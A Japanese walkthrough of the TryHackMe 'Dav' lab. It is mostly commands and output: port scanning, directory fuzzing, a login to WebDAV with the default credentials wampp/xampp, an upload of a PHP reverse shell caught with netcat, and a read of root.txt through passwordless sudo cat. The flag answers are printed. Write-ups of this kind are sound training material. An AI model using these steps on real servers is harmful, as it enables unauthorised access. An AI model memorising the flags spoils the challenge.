概要
TryHackMe「Dav」のWalkthroughです。
Task1
Q1.user.txt
nmap
でポートスキャンを実行します。
$ nmap -Pn -sC -A -T4 -sV -p- 10.10.100.237 -oN nmap_result
Nmap scan report for 10.10.100.237
Host is up (0.24s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
34578/tcp filtered unknown
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
80 | http | Apache httpd 2.4.18 |
ディレクトリの列挙を行います。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.100.237/FUZZ -recursion -recursion-depth 1 -ic -c
[Status: 200, Size: 11321, Words: 3503, Lines: 376, Duration: 1716ms]
webdav [Status: 401, Size: 460, Words: 42, Lines: 15, Duration: 237ms]
/webdav
ではBasic認証が実装されていました。
ApacheのWebDavモジュールが使用されている可能性がります。
webdav default credentials
などで検索するとデフォルトのクレデンシャル情報を発見しました。
user: wampp
,pass: xampp
でログイン出来ました。
passwd.dav
ファイルにはwampp
のパスワードハッシュ値があります。
John The Ripperで解析を試みましたが成功しませんでした。
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:59 DONE (2024-06-23 21:22) 0g/s 235668p/s 235668c/s 235668C/s ejngyhga007..*7¡Vamos!
Session completed.
他にWebDavではPUTメソッドを用いたリバースシェルが実行可能だと分かりました。
cadaver
を用いてリバースシェルファイルをアップロードします。
PHPのリバースシェルペイロードをアップロードしました。
$ cadaver http://10.10.189.24/webdav
Authentication required for webdav on server `10.10.189.24':
Username: wampp
Password:
dav:/webdav/> put /home/kali/Dav/php-reverse-shell.php
Uploading /home/kali/Dav/php-reverse-shell.php to `/webdav/php-reverse-shell.php':
Progress: [=============================>] 100.0% of 5493 bytes succeeded.
Netcatでリッスンし、http://<ip>/webdav/php-reverse-shell.php
へアクセスするとシェルを取得できました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.189.24] 57864
Linux ubuntu 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
19:03:31 up 6 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
/home/merlin/user.txt
ファイルからフラグを入手できました。
$ cat /home/merlin/user.txt
449b40fe93f78a938523b7e4dcd66d2a
A.449b40fe93f78a938523b7e4dcd66d2a
Q2.root.txt
sudo -l
で確認すると/bin/cat
コマンドがパスワードなしのroot権限で実行できるので/root/root.txt
からフラグを入手できました。
$ sudo /bin/cat /root/root.txt
101101ddc16b0cdf65ba0b8a7af7afa5
A.101101ddc16b0cdf65ba0b8a7af7afa5